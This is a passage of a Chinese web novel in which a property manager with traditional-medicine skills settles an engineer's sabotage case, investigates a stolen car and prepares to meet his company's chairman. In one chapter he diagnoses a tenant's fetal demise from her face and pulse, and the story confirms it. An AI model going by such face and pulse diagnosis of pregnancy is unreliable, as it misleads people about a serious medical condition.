“你要辞职可以，但是这些隐形的损失我不能一笔勾销，你有没有想过如何弥补？”林皓问。 “林总，您说吧，您想怎样都行，我一个人承担，我认。” 我看看年纪接近40的岳堂，从这里离开再找新工作也未见得很容易，而且应该还是要在物业圈儿里继续混。 “林哥，这件事其实是我听到了岳堂的一通电话才判定的，之前基本都是推测。”我把听到的电话内容跟林皓说了一遍。 林皓看看我，知道我是有意劝解他放过岳堂。 “老岳，你今天去财务结算工资吧，我们至此两清了。前提是你要把全部的工作都交接清楚，包括每一处设施设备的维保关键点、时间点，每一处系统以及每一个外围供应商的联系方式。你交接给向荣。”林皓给了岳堂最好的结局。 “好的、好的，一定的，林总放心！林总，先兆流产的那个业主我自己掏腰包买些补品，您安排人给送去吧，您 不要拒绝我，我工作这么多年了，从来没做过亏心事，这件事您不让我做，我会一直存有这块心病。”岳堂很感激。 “行，你跟向荣对接吧，就这样，我还有事情，你先回去，明天把全部的手续办好，你不用再过来了，我不想在这里再看见你。”林皓被伤的够呛。 岳堂点头哈腰的出了办公室，我跟林皓详细讲了我和老袁沟通的内容。 “林哥，这边的工程您得找个人，我那边如果复职了，这里得有人担起来。”我说。 “问题是这个岗位很关键，我去哪找一个可靠又懂技术的人呢？”林皓很为难。 我忽然想到了许力，这个甲方的大硕士手下一定不缺强将，“林哥，我帮你找找，有消息了再和你说。” “向荣，这件事多亏你了，处理的又快又精准。下午我让刘明玉跟你一起去四楼和五楼，给业主个交代吧，时限也快到了。”林皓提议。 “林哥，这没问题，而且我建议整体的舆论风气也要正一正，不要提我们内部有人故意搞破坏，这样业主对我们后续也会缺少信任，想想怎么说既能对之前的事有个合理的解释，又能让业主对我们未来的服务有信心。” “这好办，刘明玉是这方面的专家，我安排她做。”林皓直接找了刘明玉过来。 刘明玉听说抓住了内鬼，解决了一大半的问题，喜上眉梢，“林总，太好了，我手里有三家商户正等着签约，这件事搞定了，合约必签没跑了。” 林皓也很高兴，这代表着有钱要进来了。 我也很高兴，真正意义上的帮助林皓解决了问题。 “明玉，明天之前一定要把舆情那件事公布出来，让大厦的人安心。电梯的事情向荣还要去善个后，最好是四楼以下不停，你找找电梯公司的，一次性解决这个问题。” 我和刘明玉各自去忙，这时我的手机又响了。 第一百五十五章 巧治滑胎 “向荣，你们那里丢车的事情，我和你说一下啊。”是林翔。 “我们同事调取了正阳大厦方圆十公里内各主干道的监控，交通监控系统识别了车辆数据，发现那车是换了牌照后开出去的，目前正在借助技术手段查车辆所在的位置。” “原来真的是这样。”我感叹，“老林，现在的技术真先进，这都能识别出来。” “但是向荣，估计你们物业还是得给与一部分赔偿的，毕竟是跟你们签了合同，也付了管理费。” “是的，谢谢你啊老林，有消息就通知了我。”我表示感谢。 “你看你，跟我扯这些，谢啥谢，行了，我忙呢，一直在找冯晶晶，先不说了。” “老林，等一下！”我想起一件事，赶紧叫住林翔。 “能不能再提审一次丁有生？帮我师哥详细问问黄金罗盘的下落，那个罗盘对他来说有特殊意义。”我想，这件事只有丁有生可以提供线索。 “好，交给我吧。” 跟林翔结束了通话，我跟刘明玉先去解决了四楼和五楼退租的事，我还要了五楼那位在家休息员工的住址，准备晚上去拜访一下。 吃过晚饭，我让王敬之陪我一起去那位在家休养的员工家，员工名叫张莉。 到了以后没敲几下门，就有人出来问是谁，是个老大娘的声音。 “大娘，我们是张莉的同事，过来看看她。” 屋里的大娘开了门，一看是两个陌生男人，有点警觉。 “大娘，您不要怀疑噢，我们是张莉公司所在大楼物业的，知道她因为坐电梯的事情动了胎气，特意过来慰问一下。”我赶紧解释。 “哦？物业的？现在的物业这么尽心尽职吗？我们小莉没什么事儿，你们回去吧。”大娘明显不愿意接待我们，下了逐客令。 “大娘，这些补品您转交给张莉。另外我们这位同事是有名的中医大夫，本想过来给张莉看看的，如果您们不方便，那我们就不打扰了。”王敬之接过话茬说。 “大夫？那，快请进吧，请进请进。”大娘变了一副热情的面孔招呼我们进门。 我一看，看来是病痛折磨着心情，心急呢，滑胎这样的事情也是我的强项，给看看也是行善积德的事，就顺势进了门。 这时候张莉从里面走出来，“妈，谁来了，怎么这么久？” 我一看出来的张莉，眉毛干枯无彩、人中扭曲狭窄，这是明显的堕胎面相，难不成现在已经胎停了？ “你们是谁呀？”张莉惊声问。 “我们是正阳物业的，特意来看看您，对前段时间电梯的故障问题给您带来的困扰，深表歉意啊！”我赶紧解释。 “物业的？哦，没想到你们会来。我没什么事了，你们回去吧。”张莉根本不想让我们进屋。 “小莉，他们说他们会看病，你让他给看看吧，来都来了。”大娘接过话头。 “会看病？你们不是物业的吗？”张莉明显不信。 “对，我的主职是物业经理，中医诊病是我的副业。你放心，你家的地址是你公司老板给的，如果我是假的，他们也不能给我地址。” “那你叫什么？”张莉问。 “我叫吕向荣，这位是我师哥王敬之。”我赶紧介绍。 “你就是吕向荣呀？”张莉认识我。 “对啊，你认识我？” “我不认识你，我表妹在12A前台，我是听他说的。” 我心里一动，太好了，这回又可以多打听一些12A的事情了。 “张莉，我先给你把把脉，你放心，我治病从来都是治好了，而且你这个问题正是我擅长项。” 张莉略有迟疑的伸过胳膊，“你最近一次医院检查的报告怎么说？”我问。 “就说有先兆流产迹象，没说别的。” 张莉的脉象虽提示有微弱、沉细，但是很明显已经趋向于稳定，胎停是肯定的了。 “张莉，你是不是现在一点早孕反应都没有了？”我问。 “是的，你就摸摸脉搏就知道了？” “我建议你明天就去西医做检查，现在看已经胎停育了。趁早处理，然后把身体调养好，再找机会怀孕。” “真的吗？”张莉的失望掩饰不住。 大娘着急的问我：“小伙子，你给看看这孩子到底什么原因啊，总是怀孕了站不住？是不是触了什么不干净的东西？” 我一听，这大娘还挺封建，可不能让她们再胡乱猜想。 我又仔细切了切脉搏，看看舌象，舌质较红，舌苔较黄较厚，脉象弦细且快。 “你平时有口干、咽干、腰酸腹痛、乳房胀痛这些问题吗？” “有的。” “我诊治的结果是，你属于相火偏旺滑胎，这类人群一般会有反复流产史、血象偏高、甲状腺功能亢进这些问题。你可以明天去西医做详细的检测。”我说。 “你这么确定，那你有治疗的办法吗？” “我有。如果你相信中医治疗的话，我可以给你开药方，你喝。” 我看看犹豫的张莉，又赶紧补充：“这样吧，你明天检查完之后再定。我就在物业办公室，你可以随时找我。” 这下张莉很痛快的就点了头。 这件事完成，我和王敬之也就没有再留下去的必要了，于是我们起身告辞。 走到门边，我还是没忍住，问张莉：“你表妹一直在12A干前台吗？” 张莉点点头。 “我想问您个事，不知道您是否了解？” “你问吧，她基本上什么都跟我讲，她们公司那点八卦，我都知道。”张莉很痛快的说。 “12A的财务经理跟老板的感情怎么样？”我问。 “不好。那个Amy在外面还有个相好呢！不知道老何知不知道，如果知道了肯定不能饶她，老何的那点家底基本上都给Amy嚯嚯了。”张莉回。 “有相好？你表妹看见了？”我很惊奇。 “对啊，她们最近都不怎么避人了，老何要破产了，Amy准备跑路呢。她丢那辆车，搞不好都是她跟相好的监守自盗。” 张莉说完，她妈妈给她个眼色，张莉立刻警觉的闭了口，“今天谢谢你，明天我去检查，也许以后还得麻烦你。” 话外音我听明白了，聊天要到此为止，我也不好再多问。 “好的，那我们告辞了。” 第一百五十六章 你们认为最不可能的地方 正阳大厦丢车事件在我的脑海里已经基本具备了雏形，如果是监守自盗的话，那辆车应该在Amy知道的地方。 如果这个“相好”的也存在，那就是在相好的那里。 “师哥，如果你监守自盗，想把这钱占为己有的话，你会把赃物藏到哪里？”我问王敬之，想听听他怎么说。 “藏到你们认为最不可能的地方。”王敬之的想法跟我一样。 “是啊，我想不到什么是我们认为不可能的地方。” “走吧，该回去了，你这脑子这两天用的太多了，换换。”王敬之扯着我快步去了车站。 第二天刚一进大厦就看到刘明玉搞的温馨提示活动，里面详细的公布了大厦电梯的维保进度，以及四楼以下不停靠的通知，还对前一次被困事件做了致歉。 我跟着一波人进了电梯，听见有窃窃私语的说，早就该设计四楼以下不停，又没有什么公司，浪费时间。 还有的说，这电梯有问题过吗？一直都挺好用啊，看来还有人不知道2号电梯困过人。 不管怎么说，这都是一个好的开头。 该给许力打电话了，希望他可以推荐一个人过来。 “兄弟，好久没联系，最近怎么样？”电话只响了两声就被接起来。 “吕向荣，你这个风水大师，没把我忘了啊！哈哈”许力爽朗的笑声。 “你看你，咋逗我！我要是大师，你就是前辈了，你一个985建筑设计硕士，谁敢在你那里班门弄斧。哎我说，咱俩还是好好聊天，这么说话我好累。”我实在不适应互相吹捧。 “哈哈哈，我就知道，你这个实在人受不了这个。我最近凑合，没什么变化。你今天给我打电话一定是有什么事，对吧？”许力很开心。 “对啊，你是了解我的。兄弟你下边有没有什么得力干将，对物业工程熟悉的，最好也了解智慧物业的，擅长就更好了。” “来挖我人来啦，是吧？”许力还是带着笑意的声音。 “是这样的，我老领导这边需要一个工程经理，年薪挺高的。”我把大致的情况和许力说了一下。 “我想给他选一个信得过的人，这不就想到你了么，你带的兵肯定也跟你一样技术和人品都过硬。”我把心里话都说了出来。 “还别说，还真有一个，就是年纪大了点，家是B市的，他一直想回去找个工作。年纪大的可以不？” “行啊，你让他来这，跟林皓聊一聊呗。” “好，我安排一下。你怎么去办公大楼了？原来的集团不干啦？”许力好奇。 “遇到了不平事，停职呢！不过我心态很好，人总是要跟赏识自己的人在一起才有发展空间。”我不打算瞒许力。 “你说的没错，我也正想辞职回家呢！”许力回。 “什么？回去啊，你决定妥协了？”我有点诧异，许力这样的高知，能为了跟老婆孩子团聚，放弃自己的前途，还真的是不容易。 “对，我决定妥协了。回去陪着老婆，看着孩子长大，至少我现在是很迫切的想要这样的。至于事业，慢慢找机会看看自己能不能做点事情。”许力已经规划好了。 “行啊兄弟，我支持你！人生怎么选都会有遗憾，不要想太多。”我说。 “我这几年在外边也没白干，认识不少好兄弟，什么时候来我家乡，可一定要找我！” “必须的！” 跟许力聊完，我直接去了安保办公室，看看金辉的突击结果怎么样。 “吕经理，这么早您就过来了，您真的是厉害，真厉害！”我看着金辉一直跟我比划大拇指的样子，有点纳闷。 “到底怎么了？能不能好好说话？”我有点不耐烦。 “岳堂啊，他的事我听说了。岳堂那可是高工，您才来没几天就把他的猫腻给发现了，真厉害！还有啊，你说这mini车的事情，警察也印证了，说是通过高清摄像头、车牌识别仪等设备发现了那辆车是换了拍照从这里出去的。”金辉兴奋的说着。 看来警察的反馈，金辉已经知道了，“这不是重点了，金辉，我安排你的工作，你进展如何了？” “我昨天刚进行了A班的，确实有分拣现象，吕经理，我们怎么处理？” “开掉！”我直接就说了处理结果。 “这、这是不是有点重了？”金辉还想说情。 “这是红线呐金辉！保安的岗位主职是什么？就是安保，连基本的职能都做不到，要来何用？而且分拣式巡逻被业主发现，这是跟我们反应了，要是不跟我们反应的，直接就找茬退租的呢？这笔损失你来承担吗？”我该狠起来还是很决绝的。 金辉不吭声，我看看他，继续说：“你如果反对，可以去找林皓，按照他的决定办。” “我不是那个意思，你别误会，吕经理。我知道你的意见一定就是老板的意见。我只是觉得突然，没想到。”金辉赶紧解释。 “那就办吧，今天就结算，让他走。人我们再招，再入职的人，必须同时拿着有效期内的无犯罪证明才可以，这是我选保安的底线。” 金辉看看我不容商量的样子，只好妥协。 “另外，你帮我办件事情，你把那天全部mini车开出去的视频找出来，我想看看。” “行，就在桌面，随时可以看，吕经理。”金辉指引我来到存盘前。 我开始一帧一帧的看着丢车当天全部出入的mini车视频。 有一辆吸引了我的注意，我想看清楚开车的人，但是车膜的颜色太深，无法看清。 给出口保安缴停车费的时候，看到了伸出来的手，白皙瘦长，小拇指上还戴了一个银色的戒指。 “金辉，你看看这双手，是男的还是女的？” 金辉凑过来看了半天，说：“应该是男的吧。” “怎么这么肯定？”我好奇他的判断。 “看指甲啊，现在的女的基本都做那个什么甲，你看他的指甲，干净整齐，不像女的。” 我赞许的看看金辉，他说的有道理。 如果这辆车就是丢失那辆，那这个开车的人难不成就是Amy的相好？ 第一百五十七章 救何江 乱糟糟的这些事，虽然有碎片化的东西来佐证几处怀疑，但还是不能直接就肯定结果。 张莉说的这个相好的，毕竟其本人后来都否认了。 但是现在，监守自盗的可能性很高，而且如果是这样，找到相好的就一定能找到车。 我准备再次去拜访一下何江。 正准备上楼的时候，看见了刘明玉，她很热情的喊我：“向荣，签了签了，太好了！” 我知道她说的是新谈的两家客户已经签约了，“刘姐，你一出马，谁能不俯首啊！”我一边笑一边和刘明玉开玩笑。 “向荣弟弟，可不敢这么和姐姐开玩笑。哎，对了，林老板说你日后还要回物业集团去啊？就在这呗，这里平台多大呀！”刘明玉不无惋惜。 “刘姐，你说的对，我也考虑过。但是，如果老袁用牺牲自己换来了给我平反，我却逃了，老袁的脸往哪搁啊！这种事儿我吕向荣做不出来。至于和林哥，没什么说的，他需要我我随时来帮忙。” 刘明玉眼里流露着一种欣赏，拍拍我的肩膀，没说什么。 “哎，你这是要去哪？咋还上行？”电梯下来我们一起坐电梯回去，她问我。 “我去拜访一下12A老板何江，我听说了一些事，正好和他聊聊。”我回。 “我说你呀，有那功夫歇一会儿多好！判案那是警察的工作，你别跟着费心劳神了！”刘明玉劝我。 “刘姐，我这人就这样，事情我要是不知道也就罢了，我都知道了，不解开谜底，我坐不住啊！”我嘿嘿的笑起来。 刘明玉冲我摆摆手，下了电梯，我直接上行到12A，前台的姑娘看到我格外热情，“吕向荣？来找Amy？” “你认识我？这么熟悉我吗？”我微笑着，“我不找Amy，我想见见何老板，他在吗？” “我当然认识你，你都神了，我闺蜜去检查了，确实胎停育了，她还和我说等手术做完了要找你开药调理呢！”前台姑娘对我充满了热情。 “这么快啊！你闺蜜能处，听医生话。”我也笑。 “你等我一下啊，我告诉何总一声，再带你进去。” 何江一听是我来了，告诉前台赶快让我进来，前台姑娘带我来到他办公室门口的时候，看到他的样子，我愣了愣。 “吕经理，快来，难得你今天有时间，快坐，快坐！”何江热情的招呼我坐到茶台边。 “何总，怎么才几天不见，你消瘦憔悴了这么多？我刚刚差一点没认出来，遇到啥事了吗？”我问。 何江低头倒茶，掩饰我问话之后的尴尬，倒完茶，看我还是不说话，他长长的叹了口气。 “吕经理，我恐怕在这待不了多久了，银行封了公司的账号，催着我还贷款，哪能不憔悴呢！” 我愣住了，看看这么大一层的办公区，总觉得突然就这样不太可能。 “何总，这么大的家业怎么能说不行就不行呢？你们的开发业务停止了吗？” “业务倒是没有停止，但是流动资金没有了，资金链断裂，又没有银行愿意给我们贷款，所以就......唉！我本来还很庆幸，这大厦有你这样懂设计、懂传统文化的物业经理，可是我却不得不搬了，得换费用低的办公楼了。” “何总，警察给的车辆调查后续，你收到了吗？”我想换个角度让他开窍。 “警察？没有啊，案件当事人写的是Amy，他们有事应该也是通知了她，我还没听到她跟我汇报什么。具体什么情况？”何江问我。 于是我把车辆是怎么出去的，包括我们的怀疑，一起告诉了何江。 何江听完以后半天没说话，好像是知道了什么惊天的秘密一样，表情也是变了好几变。 “何总，这车如果是公司的财产，还可以替你顶一阵，你也别急，现有的银行不行，你再试试别家嘛！你们这么大一摊业务，怎么可能绝境呢！”我劝。 “是Amy说了都不行，而且Amy还说现在只能是申请破产，要不然我们赔偿给银行的会更多，Amy说我们报表上的数据很难看。”何江开始打开心防。 “怎么都是Amy说呢？”我听着就有问题。 “我开始创业的时候，就是一个平凡的程序猿，对财务、公司运营这些我不感冒，很多东西也都是后来这几年没办法、现学的。Amy跟我一起白手起家，吃了不少苦，她是值得信任的，财务我全权都交给她了。”何江说。 我无语了，这搞技术的好实诚啊！这么大流水的公司能全权相信给一个女人，而且还是个传闻已经有相好的女人！ “如果这车真的是监守自盗呢？您想过吗？您刚才所有说的一切如果都不是真的，或者有很大水分，你不就垮了吗？”我提醒他。 何江不说话了，沉默了许久，我也没打搅他，安静的等着他思考。 “吕经理，实不相瞒，公司财库亏空，主要是我的问题。我儿子好赌，每次都是从公司账上出钱，Amy说已经亏空了很大一个窟窿。”何江说。 “何总，事关公司生死存亡的大事，外面那些员工都等着你带着谋生呢，多去检验一下肯定不是坏事。亡羊补牢，及时止损，总会东山再起的。”我想了想又说：“另外你上次问我的这间办公室的化解办法，你可以把这间房作为会议室，你自己搬去外面一个小的，只要方正、保密性强的就可以。” 何江特别激动的说：“好啊！吕经理，你真是帮了我大忙了，太谢谢你的指点了。” 我跟他说不用这么客气，天南海北的又和他聊了一会儿，正当我准备走的时候，Amy来了。 “老何，当初答应的股权你得给我，我找到新工作了，你招人吧，越快越好！” Amy这突如其来的请辞，把我都惊住了，我心里暗想，她这是听见警察查出了真相，要先跑路啊！这个女人真的是坏掉了。 “辞职？Amy，吕经理还在这，你不要和我开这样的玩笑。”何江不屑。 “我没和你开玩笑，谁在也没用，我走定了，你赶紧找人吧！”Amy说完就要离开。 何江实在忍不住了，我看到他的脸很红，大声的质问Amy，“我离婚还不行吗？我离婚，我们马上结婚！我答应你！” 这......我走也不是、坐着也不是，好尴尬！ “何江，你知道我不是因为这个，我没和你开玩笑。你儿子那就是一个无底洞，我跟你结婚，我的后半生就废掉了。”Amy丝毫不掩饰的说出了真心话。 何江的脸红一阵白一阵，身体摇晃，我真怕他突然晕倒。 第一百五十八章 老板想见你 “行，你想好了可以走。”何江控制住自己，颓废的坐到椅子上，自顾自开始斟茶。 “我的分红呢？”Amy很明显要继续弄个结果，已经不在乎有没有外人在了。 “按照当初签署的协议给你，放心！”何江顿了顿又说：“现在账户都被查封了，你应该知道我没办法吐钱出来给你，等危机解除了会给的，到时没给，你随时去起诉我。” 我知道何江已经在心里看清了Amy，自此恩断情绝了。 Amy愣了一会儿，气呼呼的走了，高跟鞋的声音回荡在走廊。 “吕经理，让你见笑了，来，喝杯热茶，陪我说会儿话。”何江仿佛一瞬间悟到了。 我放弃了要走的打算，人在这个时候确实需要找人倾诉，既然他要说话，那我就陪着吧。 “想不到我聪明一世糊涂一时，在技术上我没服过谁，在生活上我却屡屡碰壁。我和Amy在一起十年了，十年前她要跟我不计名分的在一起的时候，我是觉得有愧于她的。所以我把公司的财务全都交给她，甚至于家里用什么钱、怎么用，都是她说了算。我老婆是老家农村给撮合的，虽然不懂我，但是逆来顺受，给我生了小浩以后，染了一身病，更加不能做主，于是我和Amy就这样公开的在一起。可是她不知足，非要我离婚，赶走小浩娘，因为这事没少跟我闹脾气。因为和她在一起，我不光伤害了小浩娘，还疏忽了对小浩的管教，等我发现这孩子染上恶习的时候，为时已晚。想不到今天，看到了吗，这个女人，大难来了自己先飞了！” 何江的话，很触动我，这算是他的一种醒悟和忏悔吧，好在现在觉察并不晚。 “何总，事已至此，也不要过多责备自己，付出的那些已经收不回了，现在最重要的是及时止损，止损以后，再回到巅峰，今天的一切要引以为戒。”我喝光何江递过来的茶水。 “我下边还有工作，我还是建议你找一家专业的财务公司来帮你度过现在的难关，不要轻易放弃。”我给何江建议。 何江稍显尴尬的站起身送我，一边往外走，我一边宽慰他：“今天的事没关系的，我们不是朋友吗？” 何江醒悟，而且明显有点小激动的说：“吕经理是说真的吗，我很荣幸！很荣幸！” “当然是真的，以后有需要我的地方，随时来找我。”说完我笑哈哈的出了12A。 出来就接到了老袁的电话，“向荣，这两天你订一张来集团的票，老板想见你。” “袁总，老板见我？是为啥？”这个消息让我很意外。 “主要是想好好的和你当面聊聊，他说不管是之前的林皓，还是现在的我，都夸你好，你们大区的业绩他也看到了，排名第一，所以他想见见你到底是什么样一个人。”老袁说。 “袁总，我最不擅长跟领导搞关系、说好听的话，我要是去了，还不得给老板搞生气了！”我不想去。 “向荣，你不是一直想雪耻吗？想发泄你的委屈吗？想知道老板为什么这么老板吗？那你就来，来见个面，有什么你就说什么，反正咱们已经是被停职了，你也早已不怕丢工作这个最坏的结果，聊个天嘛，有什么的呢？” 老袁的一番话把我给说怔住了，确实啊，我就是这么想的，也就是这么个状态，老袁真的很了解我。 “行，那我去。袁总，你也会一直在身边作陪的是吧？”我还是有点不自信。 “对，我在，你放心大胆的干，我给你托底。” “哈哈，袁总，每次你这么说的时候，都会激发我心里最大的潜能，你是真的很会当领导。” “别恭维我啦，我们俩也很久没见面了，正好借着这次也能见一见。我在集团等你了。” “好咧！” 结束和老袁的通话，我想想林皓这边，基本上也都告一段落了，除了丢失的mini，目前监守自盗的事情还没水落石出以外。 不过，警察没定案，这件事一时半会儿也不会涉及到赔偿，时间足够我去会会老板了。 我进林皓办公室的时候，他正在讲电话，“行，好的李老板，你就放心，我这里都是最先进的设备，一流的大数据监控，就这个地段，对你们开展公司业务绝对是有利的。而且能在正阳办公，多多少少的对公司的品牌也是一个加分项，哈哈。” 这应该是又成单了。 林皓看我进来示意我先坐，他迅速的结束了跟对方的通话。 “向荣，我当初在车上遇见你，真的是我这辈子最幸运的事情！你不仅帮我治服了小偷、治好了我爸的病，你还再一次救了我的事业啊！你知道 这个月我们招商任务达成率是多少吗？” 我笑眯眯的听着，林皓转好是我最开心的事情，甚至于要比我自己开成中医馆还开心。 “这个月是200%，目前整栋正阳，只有不到10%的空白了。早上某银行给我打电话，说是通过了前一次审批未过的贷款，我这次的危机啊，算是全面解除了。”林皓开心的说。 “林哥，我给你推荐的那个工程经理下午会过来，你可别忘了。”许力办事特给力，很快就帮我推荐了人，还约好了时间。 “我记得呢，叫史历，对吧？” “对，史历，今年40岁，一直在甲方干物业工程这块工作。你们好好聊聊，如果能行，工程这一摊就不会再瘸腿了。”我心里也一样一样的盘算着，还差什么没帮林皓搞定。 “我们现在就差mini丢失这件事还没有定论了，之前你说他们财务经理监守自盗，有多大把握？如果是他们自己的行为，我们一分钱都不需要出。”林皓问我。 我想了想，把何江的事情跟林皓讲了一遍。 “哎！这个何江啊，这么好的一个人才也没过去美人关。好在遇到了你啊，及时止损，我相信他东山再起没问题的，那个人脑袋里有东西。”林皓说。 “我也是这么想，所以林哥，丢车这件事的重点不在外围，而是我们内部，金辉那里的安保必须重新整顿，凡是有过分拣式巡逻的，都解聘，重新找人。安保是你的前沿，他们铁板一块，你就后顾无忧了。” “你说得对，这就是我这次这个事情最后一环。我这就告诉金辉，绝对不能手软。”林皓秒懂我的意思。 “林哥，还有件事我得和你说，我恐怕要先离开了。” 第一百五十九章 你是个人才 林皓听完并没有很诧异，而是微笑着说：“老袁找你了吧？我就说，如果老板眼不瞎，他都不应该丢掉你这块宝。现在会做物业的经理人很多，但是能像你这样，思维灵活、兼收并蓄，还是社交专家的人并不多。老板傻的，还要你走！他让你走，我第一个把你按住，哈哈！”林皓开心的说。 我明白，他的心情跟我的心情一样，看到我好了，比他自己好了还开心。 “林哥，我哪有你说的那么好呀！”我有点不太好意思了。 “向荣啊，别谦虚，就你管的那几个盘子，都是我之前的地盘，我太了解了。b市的咱先不提，就城中花园那么一块难啃的骨头，你愣是给拿下了，还开了个社区医院，现在物业营收应该超过物业费了吧？” 我点点头。 “咱就说临市那几个盘子，一个比一个扎手，刘明玉都来这了，你也看到了。但是你也给捋顺了，那个四季云顶，那个盘子硬件配备多次啊，城郊，那么远，你还能给弄出个合作经营，有时候我就想啊，你说你也没念过大学，更别说什么工商管理、经济学了，这些点子你都是怎么想出来的呢？”林皓对我的事迹如数家珍。 “逼到那份上了呗，你说我不干咋办？你走了，他们把我推上去，老袁根本就没有去过临市的几个盘子就直接让我上位接手了，我也不能看着那几个物业团队的员工解散啊！”我也被带到了回忆中。 “不见得是逼到份上了，别人也都不缺人生环境，也都会被逼一下，但是怎么没逼出来呢？还得是有潜能才会出来的。你不用谦虚，你确实是个人才。我听明玉说，帝豪庭那个富老板，对你那番福人福地的说法是佩服的五体投地啊！向荣，这个事业你还没走到最巅峰，你还有很大的空间可以上升的。” 我看看对我赞不绝口的林皓，经过他这么一总结，我才发现，这快小十年的时间，我竟然干了这么多事情了，这竟然都是我干的事情。 “我也有遗憾呀！”我忽然想到了刘才东。 “你的遗憾？你班长刘才东？”林皓猜中了。 “他那个案子不是已经确定凶手了吗？我记得听你说过，那几个人基本上都收监了。” “真正的凶手还没抓到，前几天在正阳后巷的网吧见着了，但是还是让他给跑了！最忧心的是那个女孩冯晶晶，到现在也不知所踪，是不是还好。” 我和林皓都沉默了，这件事就像压在我心里的大石头，压得我喘不上气。 林皓拍拍我的肩膀，说：“向荣，恶有恶报，他逍遥不了多久了！现在科技这么发达，各种技术、监控、数据，想找到一个太容易了。” “对了，你这次离开是要复职了不？”林皓问我。 “是要去见老板，老袁给我打电话说老板要见我，跟我聊聊。”我回。 “哦？这是天大的好事呀！老板那个人我太了解了，我跟他干了这么多年，我辞职走的时候，他还给我打电话留我，让我等一等，他会给家族的人一个说法。我还是很感激老板的。”林皓回忆。 “林哥，你也受到家族人的排挤了？” “对，老板起家的时候没有开这么大基盘的能力，就联系身边的几个表兄弟、姐姐，一起入股合开了这么一个公司，没两年的时间，就做成了物业集团，还能搞出收购并购这些，老板现在不一样啦，鸟枪换炮。家族那几个人一直持有股份，也有话语权。一天就瞎搞，整的乌烟瘴气的。” “你还记不记得吴天宇？”林皓问。 “当然记得，总助嘛，我还给他爱人治过病。”我脑海中吴天宇的样子还很清晰。 “他就是被家族的势力干走的，小伙子走的时候还跟我诉苦，一肚子憋屈。那也是个高知，海外qs排名前20院校毕业的，不愁找新工作，主要是被这些人给挤兑，心里有气。”林皓说。 原来如此，我心里稍稍平衡了些，对老板这个人没那么抗拒了。 “向荣，你这次去，该怎么说你就怎么说，老板那个人的秉性很豪爽，很像北方人。你可千万别畏首畏尾的，只会说漂亮话，知道不？”林皓嘱咐我。 “林哥，你还不知道我呀，最忌讳在领导面前晃悠，说漂亮话。不过，没和你聊这些之前，我确实挺打怵去见他的，现在和你聊完，我放开了不少。” “老板人呢，是不错的，也算是高于我们一个圈层存在的人物了。现在人家要向下兼容，那我们就得有让人家愿意兼容的能力，明白吗？ ”林皓说。 这句话放在以前我可能理解不了，但是我现在能理解里面的精髓了。 “林哥，我现在最矛盾的其实是未来我是要继续干物业，还是干我的中医馆。这两件事都是我的兴趣所在。只是说心里话，物业工作干的我有点累了，尤其这个时候受到职场打压，我就更想放弃了。”我跟林皓坦白心声。 “向荣，这件事我不能帮你拿主意，选哪一个都是事业，事业是为了生活服务的。我认为我们的生活，生活中的家人才是最重要的，任何事业都要以能让生活更好、不让家人受影响为前提。” 林皓说的太对了！我不由得想起了许力，事业虽好，但是家人受到了影响。 “林哥，我现在也很庆幸跟你坐了同一辆到b城的公交车，很庆幸帮你抓到了小偷。” 林皓很期待答案的问我：“说说，因为啥？” “因为你啊，就像我的指路明灯一样的。不仅仅了解我，还能说服我，给我方向。” 林皓开心的大笑起来，微秃的额头更加发亮。 我也笑起来，想来物业这个事业，让我获得的东西很多，不仅仅是遇到的人，经历的事，还有这些在工作中沉淀下来的朋友，千金不换。 临出发去集团前，王敬之和我说：“向荣，叔叔的病这段时间喝你配的汤药，稳定了很多，我现在觉得我们这个中医馆太有开的必要了，这些成功的方剂，能帮助很多人呢！” 我看着王敬之就像找到了精神支柱般，再也不用像游神一样，甚至还想着去修炼了，我的心里也很高兴。 “师哥，那咱们就开，你放心，有我赚钱呢，你尽管飞，我给你托底。”我贱贱的看着王敬之。 王敬之反应过来，我又在话里逗他，气的用手指我，“吕向荣，你讨打是不是？” 我赶紧笑哈哈的跑开，心里感恩我姥爷，当初给我留了这么好的一个师哥在身边。 第一百六十章 老板的考核 老板约见的地点没有定在集团办公室，而是在一个私密性很强的会所里。 老袁陪我去的时候，我就像个刚进城的傻小子一样，这看看、那瞅瞅，这是我第一回到这样的地方，也是第一回见这么大的领导。 之前开集团会议的时候，都是远远的看着，老板从来不发言，都是下面的人代劳，所以我基本上跟老板没有真正意义上的面对面交集。 “向荣，别紧张，老板能把约谈的地方安排在这里，我也很意外，看来，他是有重要的任务要交给你啊！”老袁说。 “啥重要任务？我不行的，袁总。” “你看你，平时跟我那能耐劲儿都哪去了，就是见个人而已，怎么这么怂！”老袁批评我。 “哎，我也不知道，就是浑身上下都不自在，可能是头一回受这么大的干部接见吧。” “那都是你自己心里预设的，什么大人物，老板也是人，该有的尊敬自然要有，但是态度嘛，咱们还是要不卑不亢，好不好？”老袁提醒我。 “放心吧，袁总，我一会儿就好了。”我知道我适应一会儿就可以恢复。 到了约定的包间之后，老板还没到，我得以缓解一下情绪，四下打量起房间的布局，还真别说，这个会所一定是“懂行”的人设计的，每一处都很好的建设在理论基础之上。 “怎么样？看出什么问题了？”老袁问我。 “看出来了，设计会所的人是高手。难怪这样的场所这么受人推崇。”我回。 “你们过来啦！”随着一声询问，进来一个身材高瘦，眉眼清明，一看就很睿智的老者，面目和善，但是不失威严。 “董事长，您来了。”老袁率先站起身问好。 我也赶紧跟着站起身，随着问候：“董事长好！” “好、好，都坐吧，坐！别拘束。”董事长的声音不大，不紧不慢的，节奏沉稳的让我紧张。 趁着他坐下的当口，我又仔细打量了他，肩宽背厚，脸上带着一副金丝眼镜，目光深邃有力，散发着一股富贵的气息。 “你就是吕向荣吧，我在集团听到下边反响声音最多的就是你呀！”老板笑眯眯的看着我询问。 “是的，我就是吕向荣，董事长。”因为受到老板进来以后气场的压迫，我又开始拘谨起来。 “老袁，你这个兵很淳朴嘛，搞得这么紧张拘束。”老板看向袁总说。 “哈哈，是的呢，这小子今天不知怎么了，从进门就开始这样，年纪尚轻，还是短练。”老袁笑着舒缓着稍微有些紧张的气氛。 “向荣今年多大了？”老板问我。 “我今年30岁，刚刚到而立之年。”我回。 “董事长，向荣把人生最稚嫩的八年都给了我们集团。”老袁跟着说。 “哦？你毕业就来我们公司了吗？”老板问我。 “董事长，确切的说我是退伍之后来的，那时我从老家出来，结识了林皓，到他那里当了一名保安。我高中毕业去当兵了，没念大学。”我实话实回。 老板看向我的眼神明显一沉，但是音调依然觉察不出变化，“你没念大学，高中毕业的？那你那些中医诊治、风水设计这些都是自学的吗？” 老板对我的了解还真不少。 “我小时候跟我姥爷学的，算是继承家族衣钵吧。我平时比较喜好这些，而且对这方面事情的领悟能力要比其它都快。” 